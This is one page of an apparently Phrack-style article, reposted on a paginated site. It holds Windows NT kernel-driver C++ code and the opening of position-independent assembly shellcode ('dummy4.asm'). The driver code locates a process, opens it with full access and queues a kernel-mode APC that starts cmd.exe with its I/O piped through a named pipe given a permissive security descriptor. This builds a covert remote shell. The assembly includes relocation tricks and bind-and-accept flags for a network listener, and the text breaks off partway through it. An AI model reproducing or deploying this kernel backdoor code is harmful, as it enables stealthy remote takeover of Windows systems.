>{ // Definitions for Windows NT-supplied APC routines. // These are exported in the import libraries, // but are not in NTDDK.H void KeInitializeApc(PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext);
void KeInsertQueueApc(PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, UCHAR unknown); } }
//Variant of structure SYSTEM_PROCESSES for NT4 namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; }
//Function searches process with given name. //Writes PID and TID of first thread to ClientId BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; //Allocate some memory PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about processes and threads //until it will fit in allocated memory. while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { //If it didn't fit - free allocated memory... NT::ExFreePool(q); n*=2; //... and allocate twice bigger q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); }
ULONG MajorVersion; //Request OS version NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
//Copy pointer to SYSTEM_PROCESSES. //copy will be modified indirectly NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); //"process NOT found" - yet BOOL found=0; //Pointer to p will be used to indirect modify p. //This trick is needed to force compiler to perform arithmetic operations with p //in bytes, not in sizeof SYSTEM_PROCESSES units char** pp=(char**)&p; //Process search cycle do { //If process have nonzero number of threads (0 threads is abnormal, but possible), //has name, that matches looked for... if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE))) { //... then copy data about it to variable pointed by ClientId. //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; //Set flag "process found" found=1; //Stop search break; } //No more processes - stop if (!(p->NextEntryDelta)) break; //Move to next process *pp+=p->NextEntryDelta; } while(1); //Free memory NT::ExFreePool(q); //Return "is the process found" flag return found; }
//Generates named pipe name similar to used by API-function CreatePipe void MakePipeName(NT::PUNICODE_STRING KernelPipeName) { //For generation of unrepeating numbers static unsigned long PipeIdx; //pseudorandom number ULONG rnd; //name template wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x"; //...and it's length in bytes ULONG KPNL = wcslen(KPNS)+(8-4)*2+1; //String buffer: allocated here, freed by caller wchar_t *buf;
//Request system timer: KeQueryInterruptTime is here not for exact //counting out time, but for generation of pseudorandom numbers rnd = (ULONG)NT::KeQueryInterruptTime(); //Allocate memory for string buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2); //Generate name: substitute numbers o template _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd); //Write buffer address and string length to KernelPipeName (initialisation) NT::RtlInitUnicodeString(KernelPipeName, buf); }
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess); extern NTSTATUS BuildAlowingSD(PVOID *sd);
struct APC_PARAMETERS { NT::UNICODE_STRING KernelPipeName; ULONG ChildPID; };
//APC handler, runs in context of given thread void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) { UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext);
dbgbkpt; //Start process with redirected I/O, SystemArgument1 is named pipe name (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName)); //Free memory occupied by APC NT::ExFreePool(Apc);
//Signal about APC processing completion NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE); return; }
//Function starts shell process (cmd.exe) with redirected I/O. //Returns bidirectional named pipe handle in phPipe extern "C" ULONG StartShell(PHANDLE phPipe) { //_asm int 3; HANDLE hProcess=0, hThread; APC_PARAMETERS ApcParameters; //Event of APC processing completion NT::KEVENT ApcCompletionEvent;
//dbgbkpt; NT::CLIENT_ID clid; //Look for process to launch shell from it's context. //That process must be always present in system if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt; return FALSE;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Get process handle from it's PID NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return FALSE;}; //Get thread handle from it's TID NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid); NT::PKTHREAD ThreadObj; //Get pointer to thread object from it's handle NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc; ApcParameters.ChildPID=0;
//Allocate memory for APC Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC)); //Initialize APC dbgbkpt; NT::KeInitializeApc(Apc, ThreadObj, SPECIAL_KERNEL_MODE_APC, (NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine 0, // rundown routine 0, // user-mode routine NT::KernelMode, 0 //context ); //Initialize APC processing completion event NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);
//Generate random unique named pipe name MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/); PVOID sd; //Access will be read-only without it. //There's a weak place in the view of security. if (BuildAlowingSD(&sd)) return FALSE; if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE; NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0); NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL); NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName); NT::ZwClose(hProcess); NT::ZwClose(hThread); return ApcParameters.ChildPID; }
----[ 8.3 - dummy4.asm
;Exported symbols - reference points for automated tool ;which generates C code of hex-encoded string PUBLIC Start PUBLIC EndFile PUBLIC CLID_here ;Debug flag - int 3 in the code DEBUG EQU 1 ;Falg "accept more then 1 connection" MULTIPLE_CONNECT EQU 1 ;Falg "bind to next port, if current port busy" RETRY_BIND EQU 1
.486 ; processor type .model flat, stdcall ; model of memory option casemap: none ; disable case sensivity
; includes for file include Imghdr.inc include w32.inc include WSOCK2.INC
; structure initializing ;------------------------- sSEH STRUCT OrgEsp dd ? SaveEip dd ? sSEH ENDS
CLIENT_ID STRUCT UniqueProcess dd ? UniqueThread dd ? CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT Length dd ? RootDirectory dd ? ObjectName dd ? Attributes dd ? SecurityDescriptor dd ? SecurityQualityOfService dd ? OBJECT_ATTRIBUTES ENDS
;------------------------- .code ;---------------------------------------------- MAX_API_STRING_LENGTH equ 150 ALLOCATION_GRANULARITY EQU 10000H ;---------------------------------------------- new_section: ;Macro replaces lea, correcting address for position independency laa MACRO reg, operand lea reg, operand add reg, FixupDelta ENDM
;The same, but not uses FixupDelta (autonomous) laaa MACRO reg, operand local @@delta call $+5 @@delta: sub DWORD PTR [esp], OFFSET @@delta lea reg, operand add reg, DWORD PTR [esp] add esp,4 ENDM
main proc Start: IFDEF DEBUG int 3 ENDIF
;Code for evaluating self address delta: pop ebx sub ebx,OFFSET delta ;Allocate place for variables in stack enter SizeOfLocals,0 ;Save difference between load ad 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |